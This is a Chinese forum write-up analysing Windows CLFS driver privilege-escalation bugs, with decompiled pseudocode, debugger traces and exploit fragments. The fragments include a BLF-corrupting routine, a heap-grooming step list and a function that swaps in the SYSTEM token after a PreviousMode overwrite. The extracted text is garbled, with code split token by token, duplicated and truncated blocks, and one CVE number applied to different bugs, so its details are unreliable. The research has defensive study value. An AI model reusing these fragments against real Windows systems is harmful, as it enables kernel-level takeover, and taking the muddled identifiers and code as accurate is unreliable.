-
-
[原创]年终CLFS漏洞汇总分析
-
发表于: 2022-12-18 12:47 21500
-
这篇文章的目的是介绍今年出现的两个CLFS漏洞汇总分析.
文章结合了逆向代码和调试结果分析了CVE-2021-24521和CVE-2022-37969漏洞利用过程和漏洞成因.
CVE-2021-24521漏洞的成因是 SignatureOffset 字段的范围校验不严格,从而导致SignatureOffset 指向的区域可以与某个 ContainerContext 的 pContainer 指针重合.攻击者可以通过精心构造日志文件内容来触发这个漏洞,CLFS在解析日志文件时,会调用 ClfsEncodeBlock 函数将每个 512 字节扇区的最后两字节备份到 SignatureOffset 指向的偏移处,整个“备份”完成后,pContainer 指针会被替换为攻击者伪造的指针,具体相关分析清读者移步相关引用中的分析文章这里不再赘述。
首先借助漏洞,将内存中的 pContainer 指针覆盖为 fakeContainer 指针,并且事先已经伪造了 fakeContainer 的虚函数表。通过利用漏洞内存中的 ContainerContext 对象和其内部的 fakeContainer 指针,我们可以看到这个指针变为了一个用户态地址,它指向的虚表也变为了一个用户态地址。正常情况下,这两个地址应该位于内核空间。
接下来我们看一下在野样本是如何实现任意地址写入的,在 RemoveContainer 函数内,代码会尝试获取 pContainer 指针,并调用内部的两个虚函数。正常情况下这两个函数是 Release 和 Remove,把地址虚函数的地址替换为没有任何实际操作的ClfsSetEndOfLog函数。
关闭blf文件的调用这2个函数之前还会调用一次CClfsContainer::Close,由于pContainer是我们精确控制的内核态地址,把field_DeviceObjectHint_20置为一个任意的打开文件句柄,field_Device_Object_30置为要被ObfDereferenceObject递减Thread的PreviousMode地址, 将当前线程模式改为内核模式,这是一种直到windows11微软允许的利用方式,详见微软文档,这样就可以允许用户态访问内核态内存通过NtWriteVirtualMemory将当前进程自身的令牌替换为 System 进程的令牌,从而完成提权。
在四月的CVE-2021-24521和九月的CVE-2021-24521,存在一个不知名的clfs漏洞,具体方式是通过一个混肴的CLIENT_CONTEXT和CONTAINER_CONTEXT结构公用同一片符号表内存,用实际只相差8大小的地址空间,导致CLFSHASHSYM结构的下个cbSymName和cbOffset正好是上个不做验证ulBelow和ulAbove字段,在关闭CONTAINER时绕过AcquireContainerContext检查还原重叠的PCLFS_CONTAINER_CONTEXT的pContainer 指针,在CONTAINER_CONTEXT结构后是原来的Container路径字符串,由于重叠的关系CLIENT_CONTEXT后的路径字符串没有对应的正确内容,但是clfs没有去验证这个限制,所以就实现了绕过类型混肴,具体利用方法片段如下
利用这个伪造的pContainer 指针,只要关闭blf文件句柄就会在析构函数中调用CClfsLogFcbPhysical::Finalize中文件中将原始 pContainer 指针从PCLFS_CONTAINER_CONTEXT读出,判断cActiveContainers字段是否大小大于0,当容器队列cidQueue值为-1时,最后调用pContainer自动关闭函数和指向其虚表的析构函数.可以采用CVE-2021-24521同样的利用方式利用.这2个漏洞的差别在于CVE-2021-24521的补丁修复了CClfsBaseFile::ValidateRgOffsets了SignaturesOffset,只是修复了Signature是否与符号相交的情况,却没修复符号表内部存在重叠混肴的情况.
实际上clfs确实在CClfsBaseFilePersisted::LoadContainerQ中将CONTAINER_CONTEXT中pContainer指针覆盖为新申请的容器对象实例指针,但是由于符号表相交的关系在之后FlushMetadata中获取的CLIENT_CONTEXT是与CONTAINER_CONTEXT存在重叠的内存.存在漏洞的伪代码如下cltctx->llCreateTime.QuadPart = that->field_CtrateTime_1a0;这行代码将ClientContext+20的位置也就是CONTAINER_CONTEXT+18的值替换回之前CClfsLogFcbPhysical::Initialize初始化时保存在CClfsLogFcbPhysical->field_CtrateTime_1a0.上下文的旧值.这里需要绕过的是判断当前的日志是不是Multiplexed类型,所以采用多数据流Log:<LogName>[::<LogStreamName>]创建日志文件对象就可以绕过这个限制,具体详见微软CreateLogFile文档
FlushImage又调用WriteMetadataBlock在该函数中,首先会遍历每一个容器上下文,将pContainer先保存后置为0:然后调用ClfsEncodeBlock函数,对数据进行编码,此时记录中每0x200字节的后两个字节将被写入到SignaturesOffset指向的内存中,接着调用CClfsContainer::WriteSector函数,然后调用ClfsDecodeBlock函数对数据进行解码,并将之前保存的pContainer值重新写回.我们看下调试结果
CVE-2021-24521漏洞的成因是由于缺乏对 CLFS.sys 中基本日志文件 (BLF) 的基本记录头中的字段 cbSymbolZone 的严格边界检查。 cbSymbolZone存在一个名为CLFS_BASE_RECORD_HEADER的结构体,在此复制一下,本文中所有用到的结构体均可在blf.bt(010编辑器分析blf文件)附件中找到:
可以看到其中就包括了一个名为cbSymbolZone的成员。在IDA中搜索该成员名字,可以找到唯一个操作该成员的函数CClfsBaseFilePersisted::AllocSymbol:
如果字段 cbSymbolZone 设置为无效偏移量,则会在无效偏移量处发生越界写入.
可以看出,在这里cbSymbolZone成员的作用是标识在BLF文件中,CLFS_BASE_RECORD_HEADER后所有符号表的路径字符串(符号)总共占用了多少空间.在内存中,当新增添加一个Container时,使用该成员用来计算新增的Container应该跳过多少空间往后排(即跳过现有的最后一个container的路径字符串),并申请sizeof(CLFSHASHSYM)也就是0x30大小空间,然后清零这片内存.但该函数直接使用使用了来自BLF文件中存储的cbSymbolZone的值,该值可以是大于0、小于到结尾的任意值。举例来说就是,它可以让跳过的空间很少,从而改写了现有最后一个container路径字符串,更小则可清零container结构本身的pcontainer指针。pcontainer是内核态指针位于ffff000000000000000区域,如果高20位被清零,那截断后的地址低12指针地址就可以指向用户态可申请内存地址,VirtualAlloc申请0x10000000大小内存后就可以完全覆盖这片地址.由于pcontainer指针总是一0x10字节对其的,可以采用替换虚表函数为SeSetAccessStateGenericMapping方法利用.
利用的方式也是一样修改Thread的PreviousMode字段,这个函数作用就是对rcx+8的地址自增实现相同的效果,所以只要把所有的每0x10个字节把+0处填为虚表,+8处填为PreviousMode地址就可以了.在这里有一个需要绕过的地方就是CClfsContainer::Close处.
这里pcontainer指针总是一0x10字节对齐的,所以我们无法预估pcontainer+20和+30的检测点字段可能会出现在什么位置,走到CClfsContainer::Close里面和之前的一样函数利用的话就会因为要关闭的句柄不是合法的出错,一种可行的方案是DeleteLogByHandle或者原文的NtSetInformationFile->FileDispositionInformation方式将file->clientshuwdown_15c设为0x10这样就会走到上方伪代码的第一个if入口在里面直接调用container的虚表函数,从而绕过了CClfsContainer::Close检查.这里有个限制DeleteLogByHandle会对CreateLogFile的参数进行检查只要赋予所有读写权限GENERIC_ALL即可绕过这个检查.
CVE-2022-37969分析原文的利用方式比较麻烦,我先来阐述下具体利用步骤.
1.创建主blf文件通过CreateLogFile并关闭文件
2.创建一大堆的blf文件,通过查询BigPoolInformation确保最后申请的2个blf文件的MetadataBlock相隔距离正好为0x11000字节,并关闭最后申请的2个blf文件
3.篡改主blf文件MetaBlockScratch内容为以下代码,包括构造FAKE_CLIENT_CONTEXT
4.重新打开修改后主blf文件通过CreateLogFile
5.创建副blf文件通过CreateLogFile
6.对副blf文件调用DeleteLogByHandle或者原文的NtSetInformationFile->FileDispositionInformation切换析构模式
7.对副blf文件添加容器通过AddContainer
8.对主blf文件添加容器通过AddContainer
9.关闭所有句柄触发漏洞
CLFS的元数据块总数默认为6个也就是如下的元数据类型,对于不是这个常量的元数据数量可以产生漏洞CVE-2022-3022详见看雪分析,在ReadImage先读取第一个ClfsMetaBlockControl元数据块,该块默认大小为400不能任意更改,读取后获取控制块中的所有元数据块配置数组,根据元数据块配置CLFS_METADATA_BLOCK读取和它之后的影子块保存在pbImage字段中,这个字段仅内核模式可见不写入文件中
对于打开和创建的blf文件,在之后内存池空间没有被占位的情况下,ClfsMetaBlockGeneral和下个blf文件的ClfsMetaBlockGeneral几个间隔块大小经调试得出的结构偏移是常量0x11000,微软为我们提供个一个用户态函数可以查询到SystemBigPoolInformation具体的堆地址和tag,代码如下.这个查询函数可以查询到完整的大块堆信息,只要在申请之前查询一次申请之后查询一次即可准确分析出当前元数据所在的内核堆地址.当申请占位的文件最后堆块两个间隔正好是0x11000时,关闭这个两个占位文件,那些接下来申请的两个主文件中的ClfsMetaBlockGeneral也会出现在这个位置.
也就是说将cbSymbolZone设置为偏移0x11000加上pcontainer指针在元素据块中的偏移就能清空下个blf文件pcontainer指针的高位部分,实现和上个漏洞相同的利用结果.但是这里有个限制需要绕过,也就是cbSymbolZone需要小于SignaturesOffset,为了绕过这个限制,原文采用了一个巧妙的方法也就是构造一个特定的CLIENT_CONTEXT,在打开blf文件时如果在CClfsLogFcbPhysical::Initialize判断eState = CLFS_LOG_SHUTDOWN就会进入就会调用ClfsLogFcbPhysical::ResetLog
CLIENT_CONTEXT这里lsnRestart_58所在元数据位置正好是第4个Signatures要写入的位置,被替换成了CLFS_LSN_INVALID也就是FFFFFFFF00000000重叠部分正好是FFFFFFFF
CVE-2021-24521只是修复了Signatures与符号表相交的情况,并没有限制SignaturesOffset可以与自身的偏移量0x68重叠的情况,这里将SignaturesOffset设置为0x50那么第4个Signatures所在位置0x19FE(0xC*0x200+0x1FE)就会写入SignaturesOffset在文件中的偏移量68加上2的高16位也就是FFFF刚才提到的重叠部分的数据,这个利用方式很巧妙笔者还未发现被微软完全修复.SignaturesOffset被替换后的值变成了0xFFFF0050,从而绕过了cbSymbolZone限制使其可以越界清空下个堆块数据.
但是这种利用方式比较复杂,需要精确控制堆申请的偏移量,实际环境利用难度过高,其实还有一个更简单的利用方式,这种方式不需要清空下个堆块的pcontainer指针而是清空自己文件的指针,同样可以实现利用,实现方法只需要设置cbSymbolZone等于本文件的pcontainer指针偏移量+3就可以了,最后利用的效果是一样的.
CVE-2021-24521补丁添加了Container和ClientContext对cbSymbolZone的越界验证,从而修复了所有的符号表相交和覆写问题
出于安全原因笔者不能提供完整的poc代码,下图是笔者在打了8月补丁的Windows1021h2虚拟机上成功复现了CVE-2022-37969
作者来自ZheJiang Guoli Security Technology,邮箱cbwang505@hotmail.com
__int64 __fastcall CClfsContainer::Close(CClfsContainer
*
this)
{
CClfsContainer
*
that;
/
/
rbx
void
*
v2;
/
/
rcx
NTSTATUS hr;
/
/
edi
that
=
this;
v2
=
(void
*
)this
-
>field_DeviceObjectHint_20;
if
( !v2 )
return
3221225480i64
;
hr
=
ZwClose(v2);
if
( hr >
=
0
)
{
that
-
>field_DeviceObjectHint_20
=
0i64
;
that
-
>field_ContainerSize_8
=
0i64
;
}
ObfDereferenceObject((PVOID)that
-
>field_Device_Object_30);
that
-
>field_Device_Object_30
=
0i64
;
return
(unsigned
int
)
__int64 __fastcall CClfsContainer::Close(CClfsContainer
*
this)
{
CClfsContainer
*
that;
/
/
rbx
void
*
v2;
/
/
rcx
NTSTATUS hr;
/
/
edi
that
=
this;
v2
=
(void
*
)this
-
>field_DeviceObjectHint_20;
if
( !v2 )
return
3221225480i64
;
hr
=
ZwClose(v2);
if
( hr >
=
0
)
{
that
-
>field_DeviceObjectHint_20
=
0i64
;
that
-
>field_ContainerSize_8
=
0i64
;
}
ObfDereferenceObject((PVOID)that
-
>field_Device_Object_30);
that
-
>field_Device_Object_30
=
0i64
;
return
(unsigned
int
)
bool
WriteProcessToken() {
unsigned
long
written
=
0
;
ULONGLONG pToken[]
=
{
0
,
0
,
0
,
0
};
NtWriteVirtualMemory(
GetCurrentProcess(),
&pToken,
(PVOID)(SystemEProcessAddress
+
dwEProcessTokenPos
-
0x10
),
0x20
,
&written);
NTSTATUS ret
=
NtWriteVirtualMemory(
GetCurrentProcess(),
(PVOID)(selfEProcessAddress
+
dwEProcessTokenPos),
&pToken[
2
],
8
,
&written);
if
(ret) {
printf(
"[+] Write EProcess token failed \n"
);
return
FALSE;
}
/
/
restore user thread.
Sleep(
100
);
BYTE previouMode
=
1
;
NtWriteVirtualMemory(
GetCurrentProcess(),
(PVOID)( ullKThreadAddress
+
dwThreadPreModePos ),
&previouMode,
1
,
&written);
printf(
"[+] Write EProcess token Success! \n"
);
return
TRUE;
}
bool
WriteProcessToken() {
unsigned
long
written
=
0
;
ULONGLONG pToken[]
=
{
0
,
0
,
0
,
0
};
NtWriteVirtualMemory(
GetCurrentProcess(),
&pToken,
(PVOID)(SystemEProcessAddress
+
dwEProcessTokenPos
-
0x10
),
0x20
,
&written);
NTSTATUS ret
=
NtWriteVirtualMemory(
GetCurrentProcess(),
(PVOID)(selfEProcessAddress
+
dwEProcessTokenPos),
&pToken[
2
],
8
,
&written);
if
(ret) {
printf(
"[+] Write EProcess token failed \n"
);
return
FALSE;
}
/
/
restore user thread.
Sleep(
100
);
BYTE previouMode
=
1
;
NtWriteVirtualMemory(
GetCurrentProcess(),
(PVOID)( ullKThreadAddress
+
dwThreadPreModePos ),
&previouMode,
1
,
&written);
printf(
"[+] Write EProcess token Success! \n"
);
return
TRUE;
}
void vul(){
int
ContainerOffset
=
0x1528
;
int
ClientOffset
=
ContainerOffset
-
8
;
PCLFS_LOG_BLOCK_HEADER hd
=
(PCLFS_LOG_BLOCK_HEADER)(pFileBuff
+
0x8200
);
ULONGLONG base_record_ptr
=
(ULONGLONG)hd
+
hd
-
>RecordOffsets[
0
];
PCLFS_BASE_RECORD_HEADER base_record
=
PCLFS_BASE_RECORD_HEADER(base_record_ptr);
base_record
-
>rgClients[
0
]
=
ClientOffset;
PCLFS_CLIENT_CONTEXT fakectx
=
(PCLFS_CLIENT_CONTEXT)(base_record_ptr
+
ClientOffset);
PCLFS_CONTAINER_CONTEXT orgctx
=
(PCLFS_CONTAINER_CONTEXT)(base_record_ptr
+
ContainerOffset);
PCLFSHASHSYM fakesym
=
(PCLFSHASHSYM)(base_record_ptr
+
ClientOffset
-
sizeof(CLFSHASHSYM));
PCLFSHASHSYM orgsym
=
(PCLFSHASHSYM)(base_record_ptr
+
ContainerOffset
-
sizeof(CLFSHASHSYM));
fakesym
-
>cbSymName
=
ClientOffset
+
sizeof(CLFS_CLIENT_CONTEXT);
fakesym
-
>cbOffset
=
ClientOffset;
fakectx
-
>cidClient
=
0
;
fakectx
-
>Reserved1
=
0
;
fakectx
-
>fAttributes
=
0
;
orgctx
-
>pContainer
=
0x40000000
;
}
void vul(){
int
ContainerOffset
=
0x1528
;
int
ClientOffset
=
ContainerOffset
-
8
;
PCLFS_LOG_BLOCK_HEADER hd
=
(PCLFS_LOG_BLOCK_HEADER)(pFileBuff
+
0x8200
);
ULONGLONG base_record_ptr
=
(ULONGLONG)hd
+
hd
-
>RecordOffsets[
0
];
PCLFS_BASE_RECORD_HEADER base_record
=
PCLFS_BASE_RECORD_HEADER(base_record_ptr);
base_record
-
>rgClients[
0
]
=
ClientOffset;
PCLFS_CLIENT_CONTEXT fakectx
=
(PCLFS_CLIENT_CONTEXT)(base_record_ptr
+
ClientOffset);
PCLFS_CONTAINER_CONTEXT orgctx
=
(PCLFS_CONTAINER_CONTEXT)(base_record_ptr
+
ContainerOffset);
PCLFSHASHSYM fakesym
=
(PCLFSHASHSYM)(base_record_ptr
+
ClientOffset
-
sizeof(CLFSHASHSYM));
PCLFSHASHSYM orgsym
=
(PCLFSHASHSYM)(base_record_ptr
+
ContainerOffset
-
sizeof(CLFSHASHSYM));
fakesym
-
>cbSymName
=
ClientOffset
+
sizeof(CLFS_CLIENT_CONTEXT);
fakesym
-
>cbOffset
=
ClientOffset;
fakectx
-
>cidClient
=
0
;
fakectx
-
>Reserved1
=
0
;
fakectx
-
>fAttributes
=
0
;
orgctx
-
>pContainer
=
0x40000000
;
}
__int64 __fastcall CClfsBaseFile::AcquireContainerContext(CClfsBaseFilePersisted
*
this, unsigned
int
lsn, _CLFS_CONTAINER_CONTEXT
*
*
a3)
{
_CLFS_CONTAINER_CONTEXT
*
*
ctnctx;
/
/
r14
if
(
0
=
=
that
-
>field_cblock_28
|| (rgblock
=
that
-
>field_rgBlocks_30, (ctrlhd
=
rgblock[
2
].pbImage)
=
=
0i64
)
|| (offset
=
ctrlhd
-
>RecordOffsets[
0
],
basesd
=
(_CLFS_BASE_RECORD_HEADER
*
)(&ctrlhd
-
>MajorVersion
+
offset),
cb
=
rgblock[
2
].cbImage,
(unsigned
int
)offset >
=
cb)
|| (unsigned
int
)offset <
0x70
|| cb
-
(unsigned
int
)offset <
0x1338
)
{
basesd
=
0i64
;
}
if
( basesd )
{
ctnoffset
=
basesd
-
>rgContainers[lsnref];
if
( ctnoffset )
result
=
CClfsBaseFile::GetSymbol(that, ctnoffset, lsnref, ctnctx);
else
result
=
3221225480i64
;
}
else
{
result
=
3222929421i64
;
}
}
return
result;
}
__int64 __fastcall CClfsBaseFile::GetSymbol(CClfsBaseFilePersisted
*
this, unsigned
int
offsetfrom,
int
containeridx, _CLFS_CONTAINER_CONTEXT
*
*
retval)
{
_CLFS_CONTAINER_CONTEXT
*
*
retvalref;
/
/
r14
retvalref
=
retval;
containeridxRef
=
containeridx;
rgcontaineroffset
=
offsetfrom;
file
=
this;
hr
=
0
;
v18
=
0
;
if
( offsetfrom <
0x1368
)
return
0xC01A000Di64
;
*
retval
=
0i64
;
ExAcquireResourceSharedLite((PERESOURCE)this
-
>field_lock_20,
1u
);
if
( !CClfsBaseFile::IsValidOffset(
file
, rgcontaineroffset
+
0x2F
) )
goto LABEL_21;
v11
=
file
-
>field_rgBlocks_30[
2
].pbImage;
CClfsBaseFile::GetBaseLogRecord(
file
);
rgcontaineroffsetRaw
=
0
;
/
/
/
/
RecordOffsets
=
70
,rgcontaineroffset
=
14a0
;
14a0
+
800
+
70
=
1d10
=
_CLFS_CONTAINER_CONTEXT
*
*
a4,craw
=
800
+
70
if
( (signed
int
)ULongAdd(rgcontaineroffset, v12
-
>RecordOffsets[
0
], &rgcontaineroffsetRaw) <
0
|| !craw
|| rgcontaineroffsetRaw >
=
(unsigned
int
)v14
-
>TotalSectorCount <<
9
|| !(craw
+
rgcontaineroffset) )
{
goto LABEL_21;
}
/
/
_CLFS_CONTAINER_CONTEXT
*
*
a4
=
1d10
;poi(
1d10
-
0n12
)
=
cbOffset
=
rgcontaineroffset
=
14a0
if
(
*
(_DWORD
*
)(craw
+
rgcontaineroffset
-
0xC
) !
=
(_DWORD)rgcontaineroffset )
{
hr
=
030000000010
;
LABEL_15:
v18
=
hr;
goto LABEL_16;
}
ctnsize
=
ClfsQuadAlign(
0x30u
);
/
/
cbOffset
=
(unsigned __int64)(pctnref
+
ctnsize)
/
/
cbOffset字符串位置正好是在container的结尾
if
( pctn[
-
1
].usnCurrent !
=
(unsigned __int64)(pctnref
+
ctnsize) || pctn
-
>cidContainer !
=
containeridxRef )
{
LABEL_21:
hr
=
0xC01A000D
;
goto LABEL_15;
}
*
retvalref
=
pctn;
return
hr;
}
__int64 __fastcall CClfsBaseFile::AcquireContainerContext(CClfsBaseFilePersisted
*
this, unsigned
int
lsn, _CLFS_CONTAINER_CONTEXT
*
*
a3)
{
_CLFS_CONTAINER_CONTEXT
*
*
ctnctx;
/
/
r14
if
(
0
=
=
that
-
>field_cblock_28
|| (rgblock
=
that
-
>field_rgBlocks_30, (ctrlhd
=
rgblock[
2
].pbImage)
=
=
0i64
)
|| (offset
=
ctrlhd
-
>RecordOffsets[
0
],
basesd
=
(_CLFS_BASE_RECORD_HEADER
*
)(&ctrlhd
-
>MajorVersion
+
offset),
cb
=
rgblock[
2
].cbImage,
(unsigned
int
)offset >
=
cb)
|| (unsigned
int
)offset <
0x70
|| cb
-
(unsigned
int
)offset <
0x1338
)
{
basesd
=
0i64
;
}
if
( basesd )
{
ctnoffset
=
basesd
-
>rgContainers[lsnref];
if
( ctnoffset )
result
=
CClfsBaseFile::GetSymbol(that, ctnoffset, lsnref, ctnctx);
else
result
=
3221225480i64
;
}
else
{
result
=
3222929421i64
;
}
}
return
result;
}
__int64 __fastcall CClfsBaseFile::GetSymbol(CClfsBaseFilePersisted
*
this, unsigned
int
offsetfrom,
int
containeridx, _CLFS_CONTAINER_CONTEXT
*
*
retval)
{
_CLFS_CONTAINER_CONTEXT
*
*
retvalref;
/
/
r14
retvalref
=
retval;
containeridxRef
=
containeridx;
rgcontaineroffset
=
offsetfrom;
file
=
this;
hr
=
0
;
v18
=
0
;
if
( offsetfrom <
0x1368
)
return
0xC01A000Di64
;
*
retval
=
0i64
;
ExAcquireResourceSharedLite((PERESOURCE)this
-
>field_lock_20,
1u
);
if
( !CClfsBaseFile::IsValidOffset(
file
, rgcontaineroffset
+
0x2F
) )
goto LABEL_21;
v11
=
file
-
>field_rgBlocks_30[
2
].pbImage;
CClfsBaseFile::GetBaseLogRecord(
file
);
rgcontaineroffsetRaw
=
0
;
/
/
/
/
RecordOffsets
=
70
,rgcontaineroffset
=
14a0
;
14a0
+
800
+
70
=
1d10
=
_CLFS_CONTAINER_CONTEXT
*
*
a4,craw
=
800
+
70
if
( (signed
int
)ULongAdd(rgcontaineroffset, v12
-
>RecordOffsets[
0
], &rgcontaineroffsetRaw) <
0
|| !craw
|| rgcontaineroffsetRaw >
=
(unsigned
int
)v14
-
>TotalSectorCount <<
9
|| !(craw
+
rgcontaineroffset) )
{
goto LABEL_21;
}
/
/
_CLFS_CONTAINER_CONTEXT
*
*
a4
=
1d10
;poi(
1d10
-
0n12
)
=
cbOffset
=
rgcontaineroffset
=
14a0
if
(
*
(_DWORD
*
)(craw
+
rgcontaineroffset
-
0xC
) !
=
(_DWORD)rgcontaineroffset )
{
hr
=
030000000010
;
LABEL_15:
v18
=
hr;
goto LABEL_16;
}
ctnsize
=
ClfsQuadAlign(
0x30u
);
/
/
cbOffset
=
(unsigned __int64)(pctnref
+
ctnsize)
/
/
cbOffset字符串位置正好是在container的结尾
if
( pctn[
-
1
].usnCurrent !
=
(unsigned __int64)(pctnref
+
ctnsize) || pctn
-
>cidContainer !
=
containeridxRef )
{
LABEL_21:
hr
=
0xC01A000D
;
goto LABEL_15;
}
*
retvalref
=
pctn;
return
hr;
}
__int64 __usercall CClfsLogFcbPhysical::Initialize@<rax>(CClfsLogFcbPhysical
*
this@<rcx>, void
*
a2@<rdx>, struct _SECURITY_SUBJECT_CONTEXT
*
a3@<r8>, __int16 a4@<r9w>, ACCESS_MASK DesiredAccess, unsigned
int
DesiredShareAccess, __int64 a7, struct _FILE_OBJECT
*
FileObject, unsigned __int8 a9)
{
CClfsBaseFile::AcquireClientContext(
file
-
>field_BaseFilePersisted_2A8,
0
, &cltctx);
if
( !(cltctx
-
>eState &
0x20
)
|| ((unsigned __int8 (__fastcall
*
)(CClfsLogFcbPhysical
*
, __int64, __int64, __int64, __int64))
file
-
>vftbl_0_00000001C0013440
-
>CClfsLogFcbPhysical::IsMultiplexed_void)(
file
,
attrval,
v17,
v18,
Update) )
{
/
/
保存pContainer指针为旧值在CClfsLogFcbPhysical中
file
-
>field_CtrateTime_1a0
=
cltctx
-
>llCreateTime.QuadPart;
}
else
{
/
/
fakectx
-
>eState
=
CLFS_LOG_SHUTDOWN;见下面分析
CClfsLogFcbPhysical::ResetLog(
file
);
}
}
__int64 __fastcall CClfsLogFcbPhysical::FlushMetadata(CClfsLogFcbPhysical
*
this)
{
that
=
this;
hr
=
CClfsBaseFile::AcquireClientContext(this
-
>field_BaseFilePersisted_2A8,
0
, &cltctx);
/
/
替换pContainer指针为旧值在ClientContext是与CLFS_CONTAINER_CONTEXT重叠的内存
cltctx
-
>llCreateTime.QuadPart
=
that
-
>field_CtrateTime_1a0;
...
CClfsBaseFile::ReleaseClientContext((CClfsBaseFile
*
)that
-
>field_BaseFilePersisted_2A8, &cltctx);
v7
=
CClfsBaseFilePersisted::FlushImage(that
-
>field_BaseFilePersisted_2A8);
}
/
/
在FlushImage中调用
__int64 __fastcall CClfsBaseFilePersisted::WriteMetadataBlock(CClfsBaseFilePersisted
*
this, unsigned
int
a2, char shadow)
{
for
( i
=
0
; i <
0x400
;
+
+
i )
{
v15
=
CClfsBaseFile::AcquireContainerContext(that, i, &ctn);
what
=
(CClfsBaseFilePersisted
*
)((char
*
)that
+
8
*
i);
ctnref
=
ctn;
what
-
>pContainer_1c0
=
(void
*
*
)&ctn
-
>pContainer
-
>pctn;
ctnref
-
>pContainer
=
0i64
;
CClfsBaseFile::ReleaseContainerContext((CClfsBaseFile
*
)that, &ctn);
}
ClfsEncodeBlock(header, header
-
>TotalSectorCount <<
9
, header
-
>Usn,
0x10u
,
1u
);
ClfsDecodeBlock(header, header
-
>TotalSectorCount, header
-
>Usn,
0x10u
, &v21);
pcontainersaved
=
(CClfsContainer
*
*
)&that
-
>pContainer_1c0;
do
{
if
(
*
pcontainersaved && (signed
int
)CClfsBaseFile::AcquireContainerContext(that, ctnidxsearch, &ctn) >
=
0
)
{
ctn
-
>pContainer
=
*
pcontainersaved;
CClfsBaseFile::ReleaseContainerContext((CClfsBaseFile
*
)that, &ctn);
}
+
+
ctnidxsearch;
+
+
pcontainersaved;
}
while
( ctnidxsearch <
0x400
);
}
`
__int64 __usercall CClfsLogFcbPhysical::Initialize@<rax>(CClfsLogFcbPhysical
*
this@<rcx>, void
*
a2@<rdx>, struct _SECURITY_SUBJECT_CONTEXT
*
a3@<r8>, __int16 a4@<r9w>, ACCESS_MASK DesiredAccess, unsigned
int
DesiredShareAccess, __int64 a7, struct _FILE_OBJECT
*
FileObject, unsigned __int8 a9)
{
CClfsBaseFile::AcquireClientContext(
file
-
>field_BaseFilePersisted_2A8,
0
, &cltctx);
if
( !(cltctx
-
>eState &
0x20
)
|| ((unsigned __int8 (__fastcall
*
)(CClfsLogFcbPhysical
*
, __int64, __int64, __int64, __int64))
file
-
>vftbl_0_00000001C0013440
-
>CClfsLogFcbPhysical::IsMultiplexed_void)(
file
,
attrval,
v17,
v18,
Update) )
{
/
/
保存pContainer指针为旧值在CClfsLogFcbPhysical中
file
-
>field_CtrateTime_1a0
=
cltctx
-
>llCreateTime.QuadPart;
}
else
{
/
/
fakectx
-
>eState
=
CLFS_LOG_SHUTDOWN;见下面分析
CClfsLogFcbPhysical::ResetLog(
file
);
}
}
__int64 __fastcall CClfsLogFcbPhysical::FlushMetadata(CClfsLogFcbPhysical
*
this)
{
that
=
this;
hr
=
CClfsBaseFile::AcquireClientContext(this
-
>field_BaseFilePersisted_2A8,
0
, &cltctx);
/
/
替换pContainer指针为旧值在ClientContext是与CLFS_CONTAINER_CONTEXT重叠的内存
cltctx
-
>llCreateTime.QuadPart
=
that
-
>field_CtrateTime_1a0;
...
CClfsBaseFile::ReleaseClientContext((CClfsBaseFile
*
)that
-
>field_BaseFilePersisted_2A8, &cltctx);
v7
=
CClfsBaseFilePersisted::FlushImage(that
-
>field_BaseFilePersisted_2A8);
}
/
/
在FlushImage中调用
__int64 __fastcall CClfsBaseFilePersisted::WriteMetadataBlock(CClfsBaseFilePersisted
*
this, unsigned
int
a2, char shadow)
{
for
( i
=
0
; i <
0x400
;
+
+
i )
{
v15
=
CClfsBaseFile::AcquireContainerContext(that, i, &ctn);
what
=
(CClfsBaseFilePersisted
*
)((char
*
)that
+
8
*
i);
ctnref
=
ctn;
what
-
>pContainer_1c0
=
(void
*
*
)&ctn
-
>pContainer
-
>pctn;
ctnref
-
>pContainer
=
0i64
;
CClfsBaseFile::ReleaseContainerContext((CClfsBaseFile
*
)that, &ctn);
}
ClfsEncodeBlock(header, header
-
>TotalSectorCount <<
9
, header
-
>Usn,
0x10u
,
1u
);
ClfsDecodeBlock(header, header
-
>TotalSectorCount, header
-
>Usn,
0x10u
, &v21);
pcontainersaved
=
(CClfsContainer
*
*
)&that
-
>pContainer_1c0;
do
{
if
(
*
pcontainersaved && (signed
int
)CClfsBaseFile::AcquireContainerContext(that, ctnidxsearch, &ctn) >
=
0
)
{
ctn
-
>pContainer
=
*
pcontainersaved;
CClfsBaseFile::ReleaseContainerContext((CClfsBaseFile
*
)that, &ctn);
}
+
+
ctnidxsearch;
+
+
pcontainersaved;
}
while
( ctnidxsearch <
0x400
);
}
`
bp CLFS!CClfsBaseFilePersisted::LoadContainerQ
bp CLFS!CClfsBaseFile::GetSymbol
0
: kd> r
rax
=
0000000000000000
rbx
=
0000000000000000
rcx
=
ffffc784287c1000
rdx
=
0000000000001528
rsi
=
ffffdc0782e5c398 rdi
=
0000000000001528
rip
=
fffff80026ee2670 rsp
=
ffffb30823028f88 rbp
=
ffffb30823029760
r8
=
0000000000000000
r9
=
ffffb30823029050 r10
=
fffff800272a7040
r11
=
ffffb308230289e0 r12
=
0000000000000000
r13
=
0000000000000000
r14
=
ffffc784287c1000 r15
=
ffffb30823029198
iopl
=
0
nv up ei pl nz na po nc
cs
=
0010
ss
=
0018
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00040206
CLFS!CClfsBaseFile::GetSymbol:
fffff800`
26ee2670
48895c2418
mov qword ptr [rsp
+
18h
],rbx ss:
0018
:ffffb308`
23028fa0
=
ffffdc0782e5c398
2
: kd> k
# Child-SP RetAddr Call Site
00
ffffb308`
23704f88
fffff800`
26ee7294
CLFS!CClfsBaseFile::GetSymbol
01
ffffb308`
23704f90
fffff800`
26eb3156
CLFS!CClfsBaseFilePersisted::LoadContainerQ
+
0x2a4
02
ffffb308`
23705100
fffff800`
26edeb7b
CLFS!CClfsLogFcbPhysical::Initialize
+
0x6da
03
ffffb308`
23705240
fffff800`
26ee0abb
CLFS!CClfsRequest::Create
+
0x4ef
04
ffffb308`
23705390
fffff800`
26ee0887
CLFS!CClfsRequest::Dispatch
+
0x97
05
ffffb308`
237053e0
fffff800`
26ee07d7
CLFS!ClfsDispatchIoRequest
+
0x87
0
: kd> gu
0
: kd> dq poi(ffffb30823029050)
ffffdc07`
82e5d598
00000030
`
00000000
00000000
`
00100000
/
/
pContainer指针
ffffdc07`
82e5d5a8
00000000
`
00000000
00000000
`
40000000
ffffdc07`
82e5d5b8
00000002
`
00000001
00000000
`
00000000
/
/
下pContainer指针硬件访问断点
ba w8 ffffdc07`
82e5d598
+
18
Breakpoint
3
hit
CLFS!CClfsBaseFilePersisted::LoadContainerQ
+
0x4e5
:
fffff800`
26ee74d5
4885c9
test rcx,rcx
/
/
